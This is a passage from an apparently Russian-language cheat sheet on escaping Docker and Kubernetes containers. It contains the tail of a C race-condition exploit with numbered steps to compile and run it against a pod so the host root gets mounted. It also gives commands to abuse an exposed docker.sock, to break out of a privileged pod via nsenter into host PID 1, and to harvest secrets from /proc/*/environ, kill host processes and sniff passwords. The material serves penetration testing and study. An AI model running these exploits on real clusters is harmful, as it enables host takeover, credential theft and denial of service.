26 perror("mkdir failed");
27 //do not exit
28 }
29 if (symlink(linkdest, name2) < 0) {
30 perror("symlink failed");
31 //do not exit
32 }
33
34 while (1)
35 {
36 renameat2(dirfd, name1, dirfd, name2, RENAME_EXCHANGE);
37 }
38 }
и компилируем
1 gcc race.c -O3 -o race
3. В цикле запускаем эксплоит
1 seq 1 4 | xargs -n1 -P4 -I{} ./race mnt{} mnt-tmp{} /var/lib/kubelet/pods/$MY_POD_UID/volumes/kubernetes.io~empty-dir/
4. Во втором шелле запустите в цикле обновление контейнера
1 for c in {2..20}; do
2 kubectl set image pod attack c$c=ubuntu:latest
3 done
5. Проверьте результат (в /test1/zzz будет смонтирован корень хоста)
1 for c in {2..20}; do
2 echo ~~ Container c$c ~~
3 kubectl exec -ti pod/attack -c c$c -- ls /test1/zzz
4 done
Runc exploit (CVE-2019-19921)
Уязвимые версии: <1.0.0-rc10
https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
Containerd exploit (CVE-2019-41103)
Уязвимые версии: <1.4.11, < 1.5.7
Эксплоита не вижу, но описание тут https://github.com/containerd/containerd/security/advisories/GHSA-c2h3-6mxw-7mvq
Sockets
Docker Sockets
Суть в том, что при некорректной настройке docker socket может быть доступен из контейнера.
Это позволяет выполнять стандартные docker команды на хостовой системе.
1 find / -name docker.sock 2>/dev/null
2 # Как правило будет /run/docker.sock
Если docker.sock будет лежать по адресу /var/run/docker.sock то можно использовать стандартную команду docker.
Иначе потребуется использовать команду
1 docker -H unix:///path/to/docker.sock ...
Другой вариант - через http запросы:
1 curl -s --unix-socket /var/run/docker.sock http:/containers/json
или через TCP-socket
1 curl -s http://<host>:<port>/containers/json
Другие команды по работе с docker socket можно найти тут https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket
rktlet socket
unix:///var/run/rktlet.sock
frakti socket
unix:///var/run/frakti.sock
cri-o socket
unix:///var/run/crio/crio.sock
containerd socket
unix:///run/containerd/containerd.sock
dockershim socket
unix:///var/run/dockershim.sock
Privileged container
Примонтированные директории
В зависимости от того, какая директория примонтирована, можно работать с файловой системой хоста.
Зависит от фантазии хакера. Может быть доступ например к /etc/ или к /root/.
hostPID
Позволяет получить доступ к процессам директории /proc/
Что там может быть интересного:
0. Дает возможность просмотреть какие вообще процессы запущены на хостовой системе.
1. Файловые дескрипторы открытых файлов - чекать все /proc/*/fd файлы, можно их прочитать
2. Секреты в env - /proc/*/environ
3. Убивать процессы и вызывать DoS
4. Под вопросом - читать память процессов например sshd и сниффать пароли (например утилитой 3snake).
privileged
Частный случай, когда контейнер является привилегированным.
Тогда достаточно заюзать следующую команду и перейти в рута хоста:
1 nsenter --target 1 --mount --uts --ipc --net --pid -- bash
hostNetwork
Позволяет взаимодействовать с сетью хоста.
Например, прослушивать трафик или MITM-атаки проводить.
Для этого достаточно юзать например tcpdump -i eth0
Примеры атак:
- https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/
- https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/
Общие вектора:
1. Сниффать трафик
2. Доступ к сервисам на localhost
3. Обход политик network (kubernetes).
hostIPC
Inter-Process Communication Mechanisms
Позволяет работать с каналами передачи между процессами.
Примеров мало, но советуют следующее:
1. Проверить /dev/shm/ на наличие общих ресурсов памяти по которым идет общение
2. Проверить IPC-facilities используя команду "ipcs -a"
Ссылки
Лабы
badPods - лаборатория уязвимых контейнеров
Статьи